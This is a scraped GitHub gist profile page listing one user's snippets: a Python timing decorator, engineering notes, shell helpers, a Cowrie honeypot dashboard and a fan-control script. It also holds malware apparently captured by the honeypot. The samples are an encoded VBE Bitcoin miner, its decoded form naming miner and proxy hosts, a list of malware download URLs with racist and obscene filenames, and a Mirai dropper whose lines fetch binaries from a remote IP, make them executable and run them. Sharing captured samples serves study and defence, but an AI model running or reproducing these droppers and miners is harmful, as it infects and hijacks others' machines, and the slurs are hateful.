Skip to content

Instantly share code, notes, and snippets.

View prafiles's full-sized avatar
🏠
Working from home

Prakhar Shukla prafiles

🏠
Working from home
View GitHub Profile
@prafiles
prafiles / timing-annotate.py
Created September 5, 2017 12:08
Adds an annotation @timing which times execution of the function
def timing(f):
"""
Adds an annotation @timing which times execution of the function.
:param f: function to be wrapped inside timer
:return: return function
"""
def wrap(*args):
time1 = datetime.now()
ret = f(*args)
time2 = datetime.now()

FWIW: I didn't produce the content presented here (the outline from Edmond Lau's book). I've just copy-pasted it from somewhere over the Internet, but I cannot remember what exactly the original source is. I was also not able to find the author's name, so I cannot give him/her the proper credits.


Effective Engineer - Notes

What's an Effective Engineer?

export LC_ALL="en_US.UTF-8"
function ssh () {
/usr/bin/ssh -t $@ "tmux new -A -s $USER";
}
function ssh-old () {
/usr/bin/ssh $@
}
@prafiles
prafiles / CDD564C.vbe
Last active April 4, 2021 19:08
Old Windows Bitcoin miner from 2013 I had encountered.
#@~^wR0AAA==2MWaH{!DV,',E\l!+Y4R^4bm3U3bVV. mK:r@#@&w.GXXmhK.3D~x,J\XTZ)-*ZTr@#@&sk +D|EMsP{PE\l!TO4Rm4rm0+x0rsVDcmG:E@#@&@#@&4KGVA6rOwVlL~{Pol^d@#@&Kwxm^P{~Um.kaY /M+lDnr(L+1OcPrUm.k2Oc?4+^sJ,# 3XwlU[Ax-kMG :n YUYDbxTd`r] qgf(]uJ#,'Pr-/HdO+s&y-6wnU;S N^sJ@#@&rW,0ksnA6r/DcKwn m^#PDtU@#@&d^l^V~jD+w8@#@&ifW@#@&7dEP;tnmV~DW~/nPb0~(,mlU~T+OPm~akUTPM+/aW d+,0.WsPOCMo+D@#@&idq6~Kk ovJLWGL^+ mKhJ*PP4x@#@&7idvP;C^V~DtPmKN~YKP.E PGU,mW U+1Y@#@&77d;l^V~HCr P~P,~P,P~~,PP~@#@&d7d(GKV3XkDsVmo,xP:D;+@#@&77AxN,(0@#@&di jmMkaY /snw~FZT!,B~KmE/n~6W.P8~k+^Kx9/P(+6GDPU+XY~CDY+s2Y@#@&ddGGw,h4ks+~8KWs2XrYwVCL,@!@*~PMEn@#@&n N~b0@#@&@#@&/!8Ptlrx@#@&7OswP{~UmDb2OR;DlO+68N+^Yv~Jq?^.bwY j4+sVr~*R3XwmxNAx7rDKxh+ YjOMkxTd`r]KA\K]r#@#@&7mh[,'~PDhw,[~E'/\^4K/ORaJ@#@&dalDm:k~',J~OKP4ODw)J&J,[Pa.G6H{!DsP'E,O6Pr~[,w.GXX{AGM3nD,'rPR^P8J@#@&d!.V,'~J4YO2=zzr~[,:k n.{!D^@#@&dFr^VKDK^m/d~1:N@#@&iNGh sKl[,EMVPLPr&/7m4WkY nX+JB~YswPL~Ezk\1tG/O 6nJ@#@&d9WAU^Wl[~!DsPL~rzsb41ED^OW N^VE~,Yh2,[Pr&Vb4m!.sOWR9VsJ@#@&iNGh sWmN~;MVP'~r
@prafiles
prafiles / CDD564C.vbs
Created April 4, 2021 19:10
Decoded Bitcoin mining malware.
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
proxy_url = "v502th.chickenkiller.com"
proxy_worker = "v500:v500"
miner_url = "v500th.chickenkiller.com"
boolExitFlag = False
opencl = WScript.CreateObject( "WScript.Shell" ).ExpandEnvironmentStrings("%WINDIR%") & "\system32\OpenCL.dll"
if fileExist(opencl) then
@prafiles
prafiles / cowrie.json
Created April 6, 2021 20:54
Cowrie Grafana Dashboard
{
"annotations": {
"list": [
{
"builtIn": 1,
"datasource": "-- Grafana --",
"enable": true,
"hide": true,
"iconColor": "rgba(0, 211, 255, 1)",
"name": "Annotations & Alerts",
@prafiles
prafiles / fan_control.sh
Last active April 9, 2021 15:36
Onion Omega Fan Control
#To be located inside /root/fan_control of the filesystem
#!/bin/sh
/usr/sbin/relay-exp -i all 1
sleep 60
echo "Initialization of relays for fans done."
while :
do
echo "Switching to relay 0"
@prafiles
prafiles / list.txt
Created April 10, 2021 23:21
Cowrie Malware Downloads
# Sorted ascending on the basis of date. All other information has been removed.
http://185.10.68.211/Fourloko.sh
http://104.168.245.85/Heisenbergbins.sh
http://45.14.224.103/fuckjewishpeople.sh
http://51.178.218.149/x-8.6-.GHOUL
http://51.178.218.149/x-3.2-.GHOUL
http://104.168.245.85/fuckjewishpeople.sh
http://193.239.147.226/downloadthesebinsyoudirtyslut.x86
http://193.239.147.226/nigga
@prafiles
prafiles / mtr.sh
Created April 10, 2021 23:25
Sample Mirai Script
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.x86; curl -O http://109.104.151.108/mtro/mbot.x86;cat mbot.x86 >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.mips; curl -O http://109.104.151.108/mtro/mbot.mips;cat mbot.mips >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.mpsl; curl -O http://109.104.151.108/mtro/mbot.mpsl;cat mbot.mpsl >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.arm4; curl -O http://109.104.151.108/mtro/mbot.arm4;cat mbot.arm4 >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtro/mbot.arm5; curl -O http://109.104.151.108/mtro/mbot.arm5;cat mbot.arm5 >kzpold ;chmod +x *;./kzpold
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://109.104.
@prafiles
prafiles / plc4x-server.Dockerfile
Last active January 18, 2023 11:39
Dockerfile for PLC4X Family
FROM maven:3.8.7-eclipse-temurin-17-focal as builder
WORKDIR /app
RUN apt-get update && apt-get install git && \
git clone --depth 1 --branch v0.10.0 https://github.com/apache/plc4x.git
WORKDIR /app/plc4x
RUN mvn install